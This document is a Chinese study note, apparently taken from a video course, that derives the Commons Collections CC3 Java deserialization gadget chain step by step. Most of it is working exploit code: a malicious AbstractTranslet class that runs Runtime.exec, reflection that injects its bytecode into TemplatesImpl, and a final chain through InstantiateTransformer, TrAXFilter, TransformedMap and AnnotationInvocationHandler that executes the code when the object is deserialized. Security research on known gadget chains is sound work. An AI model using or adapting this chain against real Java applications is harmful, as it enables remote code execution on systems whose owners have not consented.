声明:本文为b站白日梦组长视频学习笔记,如有侵权,联系我速删
组长b站的传送门:https://space.bilibili.com/2142877265/?spm_id_from=333.999.0.0
一、挖掘CC3链 使用动态类加载执行代码
我们了解到,ClassLoader在加载类时最后都会调用到defineClass(sink),我们要找一个调用defineClass且是public的方法。(ClassLoader中重载了很多defineClss,我们需要寻找一个合适的)
这里的defineClass也不是public的,只能被当前类调用,我们看一下在那里被调用的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 private void defineTransletClasses () throws TransformerConfigurationException { ...... for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); ...... } private Translet getTransletInstance () throws TransformerConfigurationException { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); ...... } public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); ...... }
我们在TemplatesImpl沿着defineClass –> defineTransletClasses –> getTransletInstance –> newTransformer
终于找到了一个public的方法newTransformer(),并且意外收获是在getTransletInstance()方法中会把我们动态加载的恶意类进行初始化
那接下来我们来测试一下从newTransformer()到defineClass()能不能正常执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 private byte [][] _bytecodes = null ;private Translet getTransletInstance () { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); private void defineTransletClasses () { if (_bytecodes == null ) { throw new TransformerConfigurationException (err.toString()); } AccessController.doPrivileged(new PrivilegedAction () { TransletClassLoader(...,_tfactory.getExternalExtensionsMap());} }; for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]) Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); }
我们主要到_bytecodes
是一个二维数组,而defineClass类加载时只需要一维数组,我们观察到有一个for循环,会把我们传的_bytecodes
循环加载进来,所以我们在一个一维数组放上我们的恶意类数组就好了
java中可以使用 int[] a = {1,2,3,4,5};的方式构建数组
构造二维数组: int[][] arr = { {1,2,3},{4,5,6},{7,8,9} };
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 TemplatesImpl templates = new TemplatesImpl ();Class tc = templates.getClass();Field nameFiled = tc.getDeclaredField("_name" );nameFiled.setAccessible(true ); nameFiled.set(templates,"aaaa" ); Field bytecodesFiled = tc.getDeclaredField("_bytecodes" );bytecodesFiled.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("D://Temp/classes/Test.class" ));byte [][] codes = {code};bytecodesFiled.set(templates,codes); Field tfactoryFiled = tc.getDeclaredField("_tfactory" );tfactoryFiled.setAccessible(true ); tfactoryFiled.set(templates,new TransformerFactoryImpl ()); templates.newTransformer();
运行发现抛出了空指针异常错误
动态调试时发现_auxClasses
这里会报空指针异常,且_transletIndex
为-1时也会报异常,所以我们要做的是进入第一个if分支,修改_transletIndex
,所以我们的恶意类的父类应该为ABSTRACT_TRANSLET,即
1 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import java.io.IOException;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Test extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 TemplatesImpl templates = new TemplatesImpl ();Class tc = templates.getClass();Field nameFiled = tc.getDeclaredField("_name" );nameFiled.setAccessible(true ); nameFiled.set(templates,"aaaa" ); Field bytecodesFiled = tc.getDeclaredField("_bytecodes" );bytecodesFiled.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("D://Temp/classes/Test.class" ));byte [][] codes = {code};bytecodesFiled.set(templates,codes); Field tfactoryFiled = tc.getDeclaredField("_tfactory" );tfactoryFiled.setAccessible(true ); tfactoryFiled.set(templates,new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" , null , null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);HashMap<Object, Object> map = new HashMap <>(); map.put("value" ,"v" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class, transformedMap);serialize(o); unserialize("ser.bin" );
我们看到,InstantiateTransformer 所实现的 transform()方法允许我们通过反射实例化一个对象并且返回。
它会调用类的构造方法
1 2 3 4 5 6 7 8 9 10 11 12 public Object transform (Object input) { try { if (input instanceof Class == false ) { throw new FunctorException ( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); } ...... }
我们还可以再向前寻找一个调用newTransformer()方法的地方
发现了TrAXFilter类,在他的构造方法中调用了newTransformer()
1 2 3 4 5 6 7 8 public class TrAXFilter extends XMLFilterImpl { private TransformerImpl _transformer; public TrAXFilter (Templates templates) throws TransformerConfigurationException { _transformer = (TransformerImpl) templates.newTransformer(); }
我们注意,这个类并没有实现Serializable类,不能序列化,但是我们可以直接利用其构造方法,结合前面的InstantiateTransformer 类,构造出来一条InstantiateTransformer.transform() --> TrAXFilter.TrAXFilter --> --> TemplatesImpl.newTransformer()
这样一条链
1 2 new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}).transform(TrAXFilter.class)
最终代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field nameFiled = tc.getDeclaredField("_name" ); nameFiled.setAccessible(true ); nameFiled.set(templates,"aaaa" ); Field bytecodesFiled = tc.getDeclaredField("_bytecodes" ); bytecodesFiled.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("D://Temp/classes/Test.class" )); byte [][] codes = {code}; bytecodesFiled.set(templates,codes); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); map.put("value" ,"v" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class, transformedMap); unserialize("ser.bin" );